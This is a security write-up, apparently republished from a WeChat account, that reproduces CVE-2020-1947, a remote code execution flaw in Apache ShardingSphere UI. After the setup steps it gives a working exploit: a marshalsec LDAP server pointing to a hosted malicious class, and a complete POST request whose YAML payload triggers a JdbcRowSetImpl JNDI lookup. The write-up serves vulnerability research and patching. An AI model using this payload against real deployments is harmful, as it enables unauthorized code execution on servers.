首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >CVE-2020-1947:ShardingSphere RCE 复现

CVE-2020-1947:ShardingSphere RCE 复现

作者头像
Timeline Sec
发布2020-04-27 10:17:50
1K0
发布2020-04-27 10:17:50
举报
文章被收录于专栏:Timeline SecTimeline Sec

本文作者:fa1ry(团队正式成员)

本文字数:1101

阅读时长:3~4min

声明:请勿用作违法用途,否则后果自负

0x01 简介

Apache ShardingSphere(Incubator) 是一套开源的分布式数据库中间件解决方案组成的生态圈,它由Sharding-JDBC、Sharding-Proxy和Sharding-Sidecar(规划中)这3款相互独立,却又能够混合部署配合使用的产品组成。它们均提供标准化的数据分片、分布式事务和数据库治理功能,可适用于如Java同构、异构语言、云原生等各种多样化的应用场景。

0x02 漏洞概述

2020年3月11日,发现Apache ShardingSphere存在远程代码执行漏洞,经过验证的攻击者可以通过提交任意 YAML 代码实现远程代码执行。

0x03 影响版本

Apache ShardingSphere < 4.0.1

0x04 环境搭建

1、下载编译shardingsphere-ui 下载地址:

https://github.com/apache/incubator-shardingsphere/archive/4.0.0.tar.gz

解压后构建

cd incubator-shardingsphere-4.0.0/sharding-distribution/sharding-ui-distribution/# 编译构建mvn clean package# 进入到target目录cd target# 解压生成的uitar -zxvf apache-shardingsphere-incubating-4.0.0-sharding-ui-bin.tar.gz# 执行./bin/start

2、安装zookeeper

wget https://archive.apache.org/dist/zookeeper/zookeeper-3.4.10/zookeeper-3.4.10.tar.gz# 将conf目录下的zoo_sample.cfg改名为zoo.cfgmv zoo_sample.cfg zoo.cfg# 进入bin目录启动zookeeper./zkServer.sh start# 默认端口是2181

3、配置注册中心

在浏览器输入

http://127.0.0.1:8088/#/registry-center

登录,默认账号密码是admin、admin

添加注册中心即可,命名空间和治理实例随便填就ok

之后激活添加的注册中心

0x05 漏洞复现

1、编译恶意类 在web服务器目录放上已经编译好的恶意类

这边使用simplehttp搭建web服务

python -m SimpleHTTPServer 8080

2、启动ldap服务

这边使用的是marshalsec,github链接:

https://github.com/mbechler/marshalsec
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://localhost:8080/#Exploit

3、用bp发包

POST /api/schema HTTP/1.1Host: 127.0.0.1:8088Connection: keep-aliveContent-Length: 573Accept: application/json, text/plain, */*Sec-Fetch-Dest: emptyAccess-Token: <你自己的token>User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36Content-Type: application/json;charset=UTF-8Origin: http://127.0.0.1:8088Sec-Fetch-Site: same-originSec-Fetch-Mode: corsReferer: http://127.0.0.1:8088/Accept-Encoding: gzip, deflate, brAccept-Language: zh-CN,zh;q=0.9Cookie: XDEBUG_SESSION=PHPSTORM; isNotIncognito=true; _ga=GA1.1.1488028278.1582862509; ki_r=; ki_t=1582862536268%3B1582862536268%3B1582862565588%3B1%3B2
{"name":"CVE-2020-1947","ruleConfiguration":"  encryptors:\n    encryptor_aes:\n      type: aes\n      props:\n        aes.key.value: 123456abc\n    encryptor_md5:\n      type: md5\n  tables:\n    t_encrypt:\n      columns:\n        user_id:\n          plainColumn: user_plain\n          cipherColumn: user_cipher\n          encryptor: encryptor_aes\n        order_id:\n          cipherColumn: order_cipher\n          encryptor: encryptor_md5","dataSourceConfiguration":"!!com.sun.rowset.JdbcRowSetImpl\n  dataSourceName: ldap://127.0.0.1:1389/Exploit\n  autoCommit: true"}

0x06 修复方式

请参考以下链接升级到最新版本且修改默认密码

https://github.com/apache/incubator-shardingsphere/releases

参考链接: https://mp.weixin.qq.com/s/1vmXLZ_Dn7_BLDtSlj07Cw

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-04-20,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Timeline Sec 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
微服务引擎 TSE
微服务引擎(Tencent Cloud Service Engine)提供开箱即用的云上全场景微服务解决方案。支持开源增强的云原生注册配置中心(Zookeeper、Nacos 和 Apollo),北极星网格(腾讯自研并开源的 PolarisMesh)、云原生 API 网关(Kong)以及微服务应用托管的弹性微服务平台。微服务引擎完全兼容开源版本的使用方式,在功能、可用性和可运维性等多个方面进行增强。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档